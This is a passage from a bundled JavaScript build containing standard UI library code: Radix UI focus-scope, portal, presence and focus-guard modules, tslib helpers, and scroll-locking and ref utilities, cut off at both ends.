    }
}
/* -------------------------------------------------------------------------------------------------
 * FocusScope stack
 * -----------------------------------------------------------------------------------------------*/ const $d3863c46a17e8a28$var$focusScopesStack = $d3863c46a17e8a28$var$createFocusScopesStack();
function $d3863c46a17e8a28$var$createFocusScopesStack() {
    /** A stack of focus scopes, with the active one at the top */ let stack = [];
    return {
        add (focusScope) {
            // pause the currently active focus scope (at the top of the stack)
            const activeFocusScope = stack[0];
            if (focusScope !== activeFocusScope) activeFocusScope === null || activeFocusScope === void 0 || activeFocusScope.pause();
             // remove in case it already exists (because we'll re-add it at the top of the stack)
            stack = $d3863c46a17e8a28$var$arrayRemove(stack, focusScope);
            stack.unshift(focusScope);
        },
        remove (focusScope) {
            var _stack$;
            stack = $d3863c46a17e8a28$var$arrayRemove(stack, focusScope);
            (_stack$ = stack[0]) === null || _stack$ === void 0 || _stack$.resume();
        }
    };
}
function $d3863c46a17e8a28$var$arrayRemove(array, item) {
    const updatedArray = [
        ...array
    ];
    const index = updatedArray.indexOf(item);
    if (index !== -1) updatedArray.splice(index, 1);
    return updatedArray;
}
function $d3863c46a17e8a28$var$removeLinks(items) {
    return items.filter((item)=>item.tagName !== 'A'
    );
}
const $d3863c46a17e8a28$export$be92b6f5f03c0fe9 = (/* unused pure expression or super */ null && ($d3863c46a17e8a28$export$20e40289641fbbb6));





;// ./node_modules/@radix-ui/react-portal/dist/index.mjs









/* -------------------------------------------------------------------------------------------------
 * Portal
 * -----------------------------------------------------------------------------------------------*/ const $f1701beae083dbae$var$PORTAL_NAME = 'Portal';
const $f1701beae083dbae$export$602eac185826482c = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    var _globalThis$document;
    const { container: container = globalThis === null || globalThis === void 0 ? void 0 : (_globalThis$document = globalThis.document) === null || _globalThis$document === void 0 ? void 0 : _globalThis$document.body , ...portalProps } = props;
    return container ? /*#__PURE__*/ external_ReactDOM_namespaceObject.createPortal(/*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.div, _extends({}, portalProps, {
        ref: forwardedRef
    })), container) : null;
});
/*#__PURE__*/ Object.assign($f1701beae083dbae$export$602eac185826482c, {
    displayName: $f1701beae083dbae$var$PORTAL_NAME
});
/* -----------------------------------------------------------------------------------------------*/ const $f1701beae083dbae$export$be92b6f5f03c0fe9 = (/* unused pure expression or super */ null && ($f1701beae083dbae$export$602eac185826482c));





;// ./node_modules/@radix-ui/react-presence/dist/index.mjs










function $fe963b355347cc68$export$3e6543de14f8614f(initialState, machine) {
    return (0,external_React_namespaceObject.useReducer)((state, event)=>{
        const nextState = machine[state][event];
        return nextState !== null && nextState !== void 0 ? nextState : state;
    }, initialState);
}


const $921a889cee6df7e8$export$99c2b779aa4e8b8b = (props)=>{
    const { present: present , children: children  } = props;
    const presence = $921a889cee6df7e8$var$usePresence(present);
    const child = typeof children === 'function' ? children({
        present: presence.isPresent
    }) : external_React_namespaceObject.Children.only(children);
    const ref = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(presence.ref, child.ref);
    const forceMount = typeof children === 'function';
    return forceMount || presence.isPresent ? /*#__PURE__*/ (0,external_React_namespaceObject.cloneElement)(child, {
        ref: ref
    }) : null;
};
$921a889cee6df7e8$export$99c2b779aa4e8b8b.displayName = 'Presence';
/* -------------------------------------------------------------------------------------------------
 * usePresence
 * -----------------------------------------------------------------------------------------------*/ function $921a889cee6df7e8$var$usePresence(present) {
    const [node1, setNode] = (0,external_React_namespaceObject.useState)();
    const stylesRef = (0,external_React_namespaceObject.useRef)({});
    const prevPresentRef = (0,external_React_namespaceObject.useRef)(present);
    const prevAnimationNameRef = (0,external_React_namespaceObject.useRef)('none');
    const initialState = present ? 'mounted' : 'unmounted';
    const [state, send] = $fe963b355347cc68$export$3e6543de14f8614f(initialState, {
        mounted: {
            UNMOUNT: 'unmounted',
            ANIMATION_OUT: 'unmountSuspended'
        },
        unmountSuspended: {
            MOUNT: 'mounted',
            ANIMATION_END: 'unmounted'
        },
        unmounted: {
            MOUNT: 'mounted'
        }
    });
    (0,external_React_namespaceObject.useEffect)(()=>{
        const currentAnimationName = $921a889cee6df7e8$var$getAnimationName(stylesRef.current);
        prevAnimationNameRef.current = state === 'mounted' ? currentAnimationName : 'none';
    }, [
        state
    ]);
    $9f79659886946c16$export$e5c5a5f917a5871c(()=>{
        const styles = stylesRef.current;
        const wasPresent = prevPresentRef.current;
        const hasPresentChanged = wasPresent !== present;
        if (hasPresentChanged) {
            const prevAnimationName = prevAnimationNameRef.current;
            const currentAnimationName = $921a889cee6df7e8$var$getAnimationName(styles);
            if (present) send('MOUNT');
            else if (currentAnimationName === 'none' || (styles === null || styles === void 0 ? void 0 : styles.display) === 'none') // If there is no exit animation or the element is hidden, animations won't run
            // so we unmount instantly
            send('UNMOUNT');
            else {
                /**
         * When `present` changes to `false`, we check changes to animation-name to
         * determine whether an animation has started. We chose this approach (reading
         * computed styles) because there is no `animationrun` event and `animationstart`
         * fires after `animation-delay` has expired which would be too late.
         */ const isAnimating = prevAnimationName !== currentAnimationName;
                if (wasPresent && isAnimating) send('ANIMATION_OUT');
                else send('UNMOUNT');
            }
            prevPresentRef.current = present;
        }
    }, [
        present,
        send
    ]);
    $9f79659886946c16$export$e5c5a5f917a5871c(()=>{
        if (node1) {
            /**
       * Triggering an ANIMATION_OUT during an ANIMATION_IN will fire an `animationcancel`
       * event for ANIMATION_IN after we have entered `unmountSuspended` state. So, we
       * make sure we only trigger ANIMATION_END for the currently active animation.
       */ const handleAnimationEnd = (event)=>{
                const currentAnimationName = $921a889cee6df7e8$var$getAnimationName(stylesRef.current);
                const isCurrentAnimation = currentAnimationName.includes(event.animationName);
                if (event.target === node1 && isCurrentAnimation) // With React 18 concurrency this update is applied
                // a frame after the animation ends, creating a flash of visible content.
                // By manually flushing we ensure they sync within a frame, removing the flash.
                (0,external_ReactDOM_namespaceObject.flushSync)(()=>send('ANIMATION_END')
                );
            };
            const handleAnimationStart = (event)=>{
                if (event.target === node1) // if animation occurred, store its name as the previous animation.
                prevAnimationNameRef.current = $921a889cee6df7e8$var$getAnimationName(stylesRef.current);
            };
            node1.addEventListener('animationstart', handleAnimationStart);
            node1.addEventListener('animationcancel', handleAnimationEnd);
            node1.addEventListener('animationend', handleAnimationEnd);
            return ()=>{
                node1.removeEventListener('animationstart', handleAnimationStart);
                node1.removeEventListener('animationcancel', handleAnimationEnd);
                node1.removeEventListener('animationend', handleAnimationEnd);
            };
        } else // Transition to the unmounted state if the node is removed prematurely.
        // We avoid doing so during cleanup as the node may change but still exist.
        send('ANIMATION_END');
    }, [
        node1,
        send
    ]);
    return {
        isPresent: [
            'mounted',
            'unmountSuspended'
        ].includes(state),
        ref: (0,external_React_namespaceObject.useCallback)((node)=>{
            if (node) stylesRef.current = getComputedStyle(node);
            setNode(node);
        }, [])
    };
}
/* -----------------------------------------------------------------------------------------------*/ function $921a889cee6df7e8$var$getAnimationName(styles) {
    return (styles === null || styles === void 0 ? void 0 : styles.animationName) || 'none';
}





;// ./node_modules/@radix-ui/react-focus-guards/dist/index.mjs



/** Number of components which have requested interest to have focus guards */ let $3db38b7d1fb3fe6a$var$count = 0;
function $3db38b7d1fb3fe6a$export$ac5b58043b79449b(props) {
    $3db38b7d1fb3fe6a$export$b7ece24a22aeda8c();
    return props.children;
}
/**
 * Injects a pair of focus guards at the edges of the whole DOM tree
 * to ensure `focusin` & `focusout` events can be caught consistently.
 */ function $3db38b7d1fb3fe6a$export$b7ece24a22aeda8c() {
    (0,external_React_namespaceObject.useEffect)(()=>{
        var _edgeGuards$, _edgeGuards$2;
        const edgeGuards = document.querySelectorAll('[data-radix-focus-guard]');
        document.body.insertAdjacentElement('afterbegin', (_edgeGuards$ = edgeGuards[0]) !== null && _edgeGuards$ !== void 0 ? _edgeGuards$ : $3db38b7d1fb3fe6a$var$createFocusGuard());
        document.body.insertAdjacentElement('beforeend', (_edgeGuards$2 = edgeGuards[1]) !== null && _edgeGuards$2 !== void 0 ? _edgeGuards$2 : $3db38b7d1fb3fe6a$var$createFocusGuard());
        $3db38b7d1fb3fe6a$var$count++;
        return ()=>{
            if ($3db38b7d1fb3fe6a$var$count === 1) document.querySelectorAll('[data-radix-focus-guard]').forEach((node)=>node.remove()
            );
            $3db38b7d1fb3fe6a$var$count--;
        };
    }, []);
}
function $3db38b7d1fb3fe6a$var$createFocusGuard() {
    const element = document.createElement('span');
    element.setAttribute('data-radix-focus-guard', '');
    element.tabIndex = 0;
    element.style.cssText = 'outline: none; opacity: 0; position: fixed; pointer-events: none';
    return element;
}
const $3db38b7d1fb3fe6a$export$be92b6f5f03c0fe9 = (/* unused pure expression or super */ null && ($3db38b7d1fb3fe6a$export$ac5b58043b79449b));





;// ./node_modules/tslib/tslib.es6.mjs
/******************************************************************************
Copyright (c) Microsoft Corporation.

Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted.

THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
***************************************************************************** */
/* global Reflect, Promise, SuppressedError, Symbol, Iterator */

var extendStatics = function(d, b) {
  extendStatics = Object.setPrototypeOf ||
      ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
      function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
  return extendStatics(d, b);
};

function __extends(d, b) {
  if (typeof b !== "function" && b !== null)
      throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
  extendStatics(d, b);
  function __() { this.constructor = d; }
  d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
}

var __assign = function() {
  __assign = Object.assign || function __assign(t) {
      for (var s, i = 1, n = arguments.length; i < n; i++) {
          s = arguments[i];
          for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
      }
      return t;
  }
  return __assign.apply(this, arguments);
}

function __rest(s, e) {
  var t = {};
  for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
      t[p] = s[p];
  if (s != null && typeof Object.getOwnPropertySymbols === "function")
      for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {
          if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))
              t[p[i]] = s[p[i]];
      }
  return t;
}

function __decorate(decorators, target, key, desc) {
  var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
  if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
  else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
  return c > 3 && r && Object.defineProperty(target, key, r), r;
}

function __param(paramIndex, decorator) {
  return function (target, key) { decorator(target, key, paramIndex); }
}

function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
  function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
  var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
  var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
  var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
  var _, done = false;
  for (var i = decorators.length - 1; i >= 0; i--) {
      var context = {};
      for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
      for (var p in contextIn.access) context.access[p] = contextIn.access[p];
      context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
      var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
      if (kind === "accessor") {
          if (result === void 0) continue;
          if (result === null || typeof result !== "object") throw new TypeError("Object expected");
          if (_ = accept(result.get)) descriptor.get = _;
          if (_ = accept(result.set)) descriptor.set = _;
          if (_ = accept(result.init)) initializers.unshift(_);
      }
      else if (_ = accept(result)) {
          if (kind === "field") initializers.unshift(_);
          else descriptor[key] = _;
      }
  }
  if (target) Object.defineProperty(target, contextIn.name, descriptor);
  done = true;
};

function __runInitializers(thisArg, initializers, value) {
  var useValue = arguments.length > 2;
  for (var i = 0; i < initializers.length; i++) {
      value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
  }
  return useValue ? value : void 0;
};

function __propKey(x) {
  return typeof x === "symbol" ? x : "".concat(x);
};

function __setFunctionName(f, name, prefix) {
  if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
  return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
};

function __metadata(metadataKey, metadataValue) {
  if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
}

function __awaiter(thisArg, _arguments, P, generator) {
  function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
  return new (P || (P = Promise))(function (resolve, reject) {
      function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
      function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
      function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
      step((generator = generator.apply(thisArg, _arguments || [])).next());
  });
}

function __generator(thisArg, body) {
  var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
  return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
  function verb(n) { return function (v) { return step([n, v]); }; }
  function step(op) {
      if (f) throw new TypeError("Generator is already executing.");
      while (g && (g = 0, op[0] && (_ = 0)), _) try {
          if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
          if (y = 0, t) op = [op[0] & 2, t.value];
          switch (op[0]) {
              case 0: case 1: t = op; break;
              case 4: _.label++; return { value: op[1], done: false };
              case 5: _.label++; y = op[1]; op = [0]; continue;
              case 7: op = _.ops.pop(); _.trys.pop(); continue;
              default:
                  if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
                  if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
                  if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
                  if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
                  if (t[2]) _.ops.pop();
                  _.trys.pop(); continue;
          }
          op = body.call(thisArg, _);
      } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
      if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
  }
}

var __createBinding = Object.create ? (function(o, m, k, k2) {
  if (k2 === undefined) k2 = k;
  var desc = Object.getOwnPropertyDescriptor(m, k);
  if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
      desc = { enumerable: true, get: function() { return m[k]; } };
  }
  Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
  if (k2 === undefined) k2 = k;
  o[k2] = m[k];
});

function __exportStar(m, o) {
  for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
}

function __values(o) {
  var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
  if (m) return m.call(o);
  if (o && typeof o.length === "number") return {
      next: function () {
          if (o && i >= o.length) o = void 0;
          return { value: o && o[i++], done: !o };
      }
  };
  throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
}

function __read(o, n) {
  var m = typeof Symbol === "function" && o[Symbol.iterator];
  if (!m) return o;
  var i = m.call(o), r, ar = [], e;
  try {
      while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
  }
  catch (error) { e = { error: error }; }
  finally {
      try {
          if (r && !r.done && (m = i["return"])) m.call(i);
      }
      finally { if (e) throw e.error; }
  }
  return ar;
}

/** @deprecated */
function __spread() {
  for (var ar = [], i = 0; i < arguments.length; i++)
      ar = ar.concat(__read(arguments[i]));
  return ar;
}

/** @deprecated */
function __spreadArrays() {
  for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
  for (var r = Array(s), k = 0, i = 0; i < il; i++)
      for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
          r[k] = a[j];
  return r;
}

function __spreadArray(to, from, pack) {
  if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
      if (ar || !(i in from)) {
          if (!ar) ar = Array.prototype.slice.call(from, 0, i);
          ar[i] = from[i];
      }
  }
  return to.concat(ar || Array.prototype.slice.call(from));
}

function __await(v) {
  return this instanceof __await ? (this.v = v, this) : new __await(v);
}

function __asyncGenerator(thisArg, _arguments, generator) {
  if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
  var g = generator.apply(thisArg, _arguments || []), i, q = [];
  return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
  function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
  function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
  function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
  function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
  function fulfill(value) { resume("next", value); }
  function reject(value) { resume("throw", value); }
  function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
}

function __asyncDelegator(o) {
  var i, p;
  return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
  function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
}

function __asyncValues(o) {
  if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
  var m = o[Symbol.asyncIterator], i;
  return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
  function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
  function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
}

function __makeTemplateObject(cooked, raw) {
  if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
  return cooked;
};

var __setModuleDefault = Object.create ? (function(o, v) {
  Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
  o["default"] = v;
};

var ownKeys = function(o) {
  ownKeys = Object.getOwnPropertyNames || function (o) {
    var ar = [];
    for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
    return ar;
  };
  return ownKeys(o);
};

function __importStar(mod) {
  if (mod && mod.__esModule) return mod;
  var result = {};
  if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
  __setModuleDefault(result, mod);
  return result;
}

function __importDefault(mod) {
  return (mod && mod.__esModule) ? mod : { default: mod };
}

function __classPrivateFieldGet(receiver, state, kind, f) {
  if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
  if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
  return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
}

function __classPrivateFieldSet(receiver, state, value, kind, f) {
  if (kind === "m") throw new TypeError("Private method is not writable");
  if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
  if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
  return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
}

function __classPrivateFieldIn(state, receiver) {
  if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
  return typeof state === "function" ? receiver === state : state.has(receiver);
}

function __addDisposableResource(env, value, async) {
  if (value !== null && value !== void 0) {
    if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
    var dispose, inner;
    if (async) {
      if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
      dispose = value[Symbol.asyncDispose];
    }
    if (dispose === void 0) {
      if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
      dispose = value[Symbol.dispose];
      if (async) inner = dispose;
    }
    if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
    if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
    env.stack.push({ value: value, dispose: dispose, async: async });
  }
  else if (async) {
    env.stack.push({ async: true });
  }
  return value;
}

var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
  var e = new Error(message);
  return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
};

function __disposeResources(env) {
  function fail(e) {
    env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
    env.hasError = true;
  }
  var r, s = 0;
  function next() {
    while (r = env.stack.pop()) {
      try {
        if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
        if (r.dispose) {
          var result = r.dispose.call(r.value);
          if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
        }
        else s |= 1;
      }
      catch (e) {
        fail(e);
      }
    }
    if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
    if (env.hasError) throw env.error;
  }
  return next();
}

function __rewriteRelativeImportExtension(path, preserveJsx) {
  if (typeof path === "string" && /^\.\.?\//.test(path)) {
      return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
          return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
      });
  }
  return path;
}

/* harmony default export */ const tslib_es6 = ({
  __extends,
  __assign,
  __rest,
  __decorate,
  __param,
  __esDecorate,
  __runInitializers,
  __propKey,
  __setFunctionName,
  __metadata,
  __awaiter,
  __generator,
  __createBinding,
  __exportStar,
  __values,
  __read,
  __spread,
  __spreadArrays,
  __spreadArray,
  __await,
  __asyncGenerator,
  __asyncDelegator,
  __asyncValues,
  __makeTemplateObject,
  __importStar,
  __importDefault,
  __classPrivateFieldGet,
  __classPrivateFieldSet,
  __classPrivateFieldIn,
  __addDisposableResource,
  __disposeResources,
  __rewriteRelativeImportExtension,
});

;// ./node_modules/react-remove-scroll-bar/dist/es2015/constants.js
var zeroRightClassName = 'right-scroll-bar-position';
var fullWidthClassName = 'width-before-scroll-bar';
var noScrollbarsClassName = 'with-scroll-bars-hidden';
/**
 * Name of a CSS variable containing the amount of "hidden" scrollbar
 * ! might be undefined ! use will fallback!
 */
var removedBarSizeVariable = '--removed-body-scroll-bar-size';

;// ./node_modules/use-callback-ref/dist/es2015/assignRef.js
/**
 * Assigns a value for a given ref, no matter of the ref format
 * @param {RefObject} ref - a callback function or ref object
 * @param value - a new value
 *
 * @see https://github.com/theKashey/use-callback-ref#assignref
 * @example
 * const refObject = useRef();
 * const refFn = (ref) => {....}
 *
 * assignRef(refObject, "refValue");
 * assignRef(refFn, "refValue");
 */
function assignRef(ref, value) {
    if (typeof ref === 'function') {
        ref(value);
    }
    else if (ref) {
        ref.current = value;
    }
    return ref;
}

;// ./node_modules/use-callback-ref/dist/es2015/useRef.js

/**
 * creates a MutableRef with ref change callback
 * @param initialValue - initial ref value
 * @param {Function} callback - a callback to run when value changes
 *
 * @example
 * const ref = useCallbackRef(0, (newValue, oldValue) => console.log(oldValue, '->', newValue);
 * ref.current = 1;
 * // prints 0 -> 1
 *
 * @see https://reactjs.org/docs/hooks-reference.html#useref
 * @see https://github.com/theKashey/use-callback-ref#usecallbackref---to-replace-reactuseref
 * @returns {MutableRefObject}
 */
function useCallbackRef(initialValue, callback) {
    var ref = (0,external_React_namespaceObject.useState)(function () { return ({
        // value
        value: initialValue,
        // last callback
        callback: callback,
        // "memoized" public interface
        facade: {
            get current() {
                return ref.value;
            },
            set current(value) {
                var last = ref.value;
                if (last !== value) {
                    ref.value = value;
                    ref.callback(value, last);
                }
            },
        },
    }); })[0];
    // update callback
    ref.callback = callback;
    return ref.facade;
}

;// ./node_modules/use-callback-ref/dist/es2015/useMergeRef.js



var useIsomorphicLayoutEffect = typeof window !== 'undefined' ? external_React_namespaceObject.useLayoutEffect : external_React_namespaceObject.useEffect;
var currentValues = new WeakMap();
/**
 * Merges two or more refs together providing a single interface to set their value
 * @param {RefObject|Ref} refs
 * @returns {MutableRefObject} - a new ref, which translates all changes to {refs}
 *
 * @see {@link mergeRefs} a version without buit-in memoization
 * @see https://github.com/theKashey/use-callback-ref#usemergerefs
 * @example
 * const Component = React.forwardRef((props, ref) => {
 *   const ownRef = useRef();
 *   const domRef = useMergeRefs([ref, ownRef]); // 👈 merge together
 *   return <div ref={domRef}>...</div>
 * }
 */
function useMergeRefs(refs, defaultValue) {
    var callbackRef = useCallbackRef(defaultValue || null, function (newValue) {
        return refs.forEach(function (ref) { return assignRef(ref, newValue); });
    });
    // handle refs changes - added or removed
    useIsomorphicLayoutEffect(function () {
        var oldValue = currentValues.get(callbackRef);
        if (oldValue) {
            var prevRefs_1 = new Set(oldValue);
            var nextRefs_1 = new Set(refs);
            var current_1 = callbackRef.current;
            prevRefs_1.forEach(function (ref) {
                if (!nextRefs_1.has(ref)) {
                    assignRef(ref, null);
                }
            });
            nextRefs_1.forEach(function (ref) {
                if (!prevRefs_1.has(ref)) {
                    assignRef(ref, current_1);
                }
            });
        }
        currentValues.set(callbackRef, refs);
    }, [refs]);
    return callbackRef;
}

;// ./node_modules/use-sidecar/dist/es2015/medium.js

function ItoI(a) {
    return a;
}
function innerCreateMedium(defaults, middleware) {
    if (middleware === void 0) { middleware = ItoI; }
    var buffer = [];
    var assigned = false;
    var medium = {
        read: function () {
            if (assigned) {
                throw new Error('Sidecar: could not `read` from an `assigned` medium. `read` could be used only with `useMedium`.');
            }
            if (buffer.length) {
                return buffer[buffer.length - 1];
            }
            return defaults;
        },
        useMedium: function (data) {
            var item = middleware(data, assigned);
            buffer.push(item);
            return function () {
                buffer = buffer.filter(function (x) { return x !== item; });
            };
        },
        assignSyncMedium: function (cb) {
            assigned = true;
            while (buffer.length) {
                var cbs = buffer;
                buffer = [];
                cbs.forEach(cb);
            }
            buffer = {
                push: function (x) { return cb(x); },
                filter: function () { return buffer; },
            };
        },
        assignMedium: function (cb) {
            assigned = true;
            var pendingQueue = [];
            if (buffer.length) {
                var cbs = buffer;
                buffer = [];
                cbs.forEach(cb);
                pendingQueue = buffer;
            }
            var executeQueue = function () {
                var cbs = pendingQueue;
                pendingQueue = [];
                cbs.forEach(cb);
            };
            var cycle = function () { return Promise.resolve().then(executeQueue); };
            cycle();
            buffer = {
                push: function (x) {
                    pendingQueue.push(x);
                    cycle();
                },
                filter: function (filter) {
                    pendingQueue = pendingQueue.filter(filter);
                    return buffer;
                },
            };
        },
    };
    return medium;
}
function createMedium(defaults, middleware) {
    if (middleware === void 0) { middleware = ItoI; }
    return innerCreateMedium(defaults, middleware);
}
// eslint-disable-next-line @typescript-eslint/ban-types
function createSidecarMedium(options) {
    if (options === void 0) { options = {}; }
    var medium = innerCreateMedium(null);
    medium.options = __assign({ async: true, ssr: false }, options);
    return medium;
}

;// ./node_modules/react-remove-scroll/dist/es2015/medium.js

var effectCar = createSidecarMedium();

;// ./node_modules/react-remove-scroll/dist/es2015/UI.js





var nothing = function () {
    return;
};
/**
 * Removes scrollbar from the page and contain the scroll within the Lock
 */
var RemoveScroll = external_React_namespaceObject.forwardRef(function (props, parentRef) {
    var ref = external_React_namespaceObject.useRef(null);
    var _a = external_React_namespaceObject.useState({
        onScrollCapture: nothing,
        onWheelCapture: nothing,
        onTouchMoveCapture: nothing,
    }), callbacks = _a[0], setCallbacks = _a[1];
